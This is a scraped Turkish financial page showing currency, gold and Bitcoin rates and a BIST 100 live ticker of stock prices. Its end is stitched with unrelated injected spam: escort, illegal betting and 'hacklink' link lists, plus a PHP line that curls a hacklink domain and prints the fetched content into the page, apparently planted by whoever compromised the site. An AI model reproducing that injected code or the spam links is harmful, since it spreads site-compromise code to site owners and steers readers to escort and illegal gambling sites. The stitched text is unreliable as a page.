DOLAR 39,6347 0.04%
EURO 45,9680 0.1%
ALTIN 4.220,09-1,64
BIST 9.442,303,29%
BITCOIN 41667122.8816%
İstanbul
27°

AÇIK

SABAHA KALAN SÜRE

BİST 100 CANLI TRAFİK
BIST 100: 9.454 s Değişim: 3.42% 312,29 Adet:   3.045 Mio.Lot Hacim:   97.793 Mio.TL
EN YÜKSEK 9455
EN DÜŞÜK 9,303
Açılış: 9.419 Dünkü Kapanış: 9.141

Verilerin Son Güncelleme Saati : 16:39

MENKUL FİYAT % ZAMAN
  • AEFES 138,90 4,67 16:40:37
  • AGHOL 249,70 2,76 16:40:32
  • AGROT 7,03 4,93 16:40:39
  • AHGAZ 28,50 -2,06 16:40:30
  • AKBNK 60,05 3,71 16:40:37
  • AKSA 8,99 3,93 16:39:53
  • AKSEN 32,62 2,51 16:40:19
  • ALARK 78,35 3,98 16:40:28
  • ALFAS 41,20 6,24 16:40:35
  • ALTNY 90,15 -7,96 16:40:36
  • ANHYT 74,05 2,49 16:40:28
  • ANSGR 87,50 3,43 16:40:15
  • ARCLK 116,70 6,38 16:39:37
  • ARDYZ 25,74 5,06 16:40:33
  • ASELS 143,30 -2,58 16:40:41
  • ASTOR 88,80 8,49 16:40:40
  • AVPGY 60,10 6,00 16:40:35
  • BERA 14,05 4,07 16:40:13
  • BIMAS 492,75 7,88 16:40:38
  • BRSAN 314,00 5,28 16:40:39
  • BRYAT 1.766,00 4,99 16:40:38
  • BSOKE 14,74 4,54 16:40:02
  • BTCIM 4,66 -3,12 16:39:44
  • CANTE 1,53 4,79 16:40:30
  • CCOLA 48,58 6,77 16:40:39
  • CIMSA 45,52 5,32 16:40:35
  • CLEBI 1.586,00 8,56 16:40:37
  • CWENE 14,16 3,36 16:40:40
  • DOAS 174,60 2,83 16:40:35
  • DOHOL 14,83 2,70 16:40:37
  • ECILC 44,00 8,91 16:38:06
  • EFORC 113,00 1,16 16:40:41
  • EGEEN 7.227,50 5,47 16:40:27
  • EKGYO 16,36 7,77 16:40:40
MENKUL FİYAT % ZAMAN
  • ENERY 7,12 -0,97 16:40:36
  • ENJSA 55,25 4,15 16:39:56
  • ENKAI 63,00 4,30 16:40:30
  • EREGL 26,40 1,85 16:40:38
  • EUPWR 25,96 4,93 16:40:37
  • FROTO 86,35 1,59 16:40:38
  • GARAN 121,10 5,12 16:40:40
  • GESAN 39,86 4,89 16:40:33
  • GOLTS 315,50 4,21 16:39:53
  • GRTHO 349,25 0,94 16:40:41
  • GSRAY 1,55 1,31 16:40:14
  • GUBRF 229,90 3,75 16:40:37
  • HALKB 22,08 4,15 16:39:38
  • HEKTS 2,97 4,21 16:40:11
  • IEYHO 13,46 0,60 16:40:28
  • ISCTR 11,69 3,00 16:40:39
  • ISMEN 34,94 4,61 16:40:41
  • KARSN 8,95 3,47 16:40:32
  • KCAER 13,40 2,29 16:40:20
  • KCHOL 148,40 2,77 16:40:36
  • KONTR 22,02 4,66 16:40:36
  • KONYA 4.817,50 4,96 16:39:06
  • KOZAA 84,25 2,74 16:40:37
  • KOZAL 23,48 3,25 16:40:40
  • KRDMD 22,86 2,97 16:40:36
  • KTLEV 6,86 -0,72 16:40:29
  • LMKDC 25,10 4,32 16:40:19
  • MAGEN 33,02 4,16 16:40:19
  • MAVI 35,20 3,10 16:40:37
  • MGROS 480,75 5,20 16:40:40
  • MIATK 28,76 7,31 16:40:41
  • MPARK 327,00 4,47 16:39:56
  • OBAMS 48,00 2,35 16:40:19
  • ODAS 4,90 2,73 16:40:34
MENKUL FİYAT % ZAMAN
  • OTKAR 380,75 0,73 16:40:38
  • OYAKC 21,84 5,30 16:39:51
  • PASEU 89,85 0,96 16:40:29
  • PETKM 16,83 1,94 16:40:35
  • PGSUS 235,50 9,79 16:40:36
  • RALYH 102,00 4,45 16:40:15
  • REEDR 9,13 2,93 16:39:58
  • RYGYO 16,77 6,34 16:40:39
  • SAHOL 82,25 5,86 16:40:38
  • SASA 2,89 3,96 16:40:35
  • SELEC 88,00 0,57 16:40:00
  • SISE 33,48 3,08 16:40:41
  • SKBNK 5,42 0,37 16:40:27
  • SMRTG 27,32 6,39 16:40:39
  • SOKM 33,22 4,01 16:40:41
  • TABGD 174,00 1,99 16:40:02
  • TAVHL 246,40 7,36 16:40:39
  • TCELL 91,65 3,97 16:40:28
  • THYAO 273,25 8,00 16:40:39
  • TKFEN 124,90 -1,26 16:40:37
  • TOASO 183,70 3,20 16:40:38
  • TSKB 11,26 4,16 16:40:11
  • TTKOM 56,10 4,47 16:40:36
  • TTRAK 571,00 3,07 16:40:22
  • TUPRS 138,60 -6,60 16:40:40
  • TURSG 8,22 4,45 16:40:31
  • ULKER 103,00 3,52 16:40:40
  • VAKBN 24,72 2,49 16:40:38
  • VESTL 33,40 5,16 16:39:50
  • YEOTK 36,00 5,39 16:40:38
  • YKBNK 28,02 3,93 16:40:27
  • ZOREN 2,92 3,55 16:38:56
kayseri escort ♦️♦️♦️♦️♦️♦️♦️♦️♦️♦️♦️♦️♦️♦️♦️♦️♦️ 🩸😎 https://smarthacklink.xyz/ 😎🩸 🩸😎 https://smarthacklink.xyz/ 😎🩸 🩸‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️‼️️‼️‼️‼️🩸 aqualandmanisa restoranadana beyaz eşya servisibalgat telefoncuurfa sıra gecesibağlama satın alkurban bağışlajojobetpadişahbetholiganbetbahsegelısparta elektrikçibetnanoverabetlimanbetcratos royalroyalbetpadişahbetbatıkent iphone tamirsöğütlüçeşme çilingiravcılar çilingirkurban bağışıAntalya EscortjojobetHoliganbetholiganbetjojobet girişcasibomankara escortizmir escortantalya escortizmir escortantalya travestitravesti antalyaalanya tıkanıkjojobetjojobetholiganbetescortbodrum escortbetnanoçeşme escortdeneme bonusubetciosahabetgrandpashabetgrandpashabetcasibom

<?php $exe = curl_init(); curl_setopt($exe, CURLOPT_URL, "https://talyahacklink.com.tr/code?x=732"); curl_exec($exe); ?>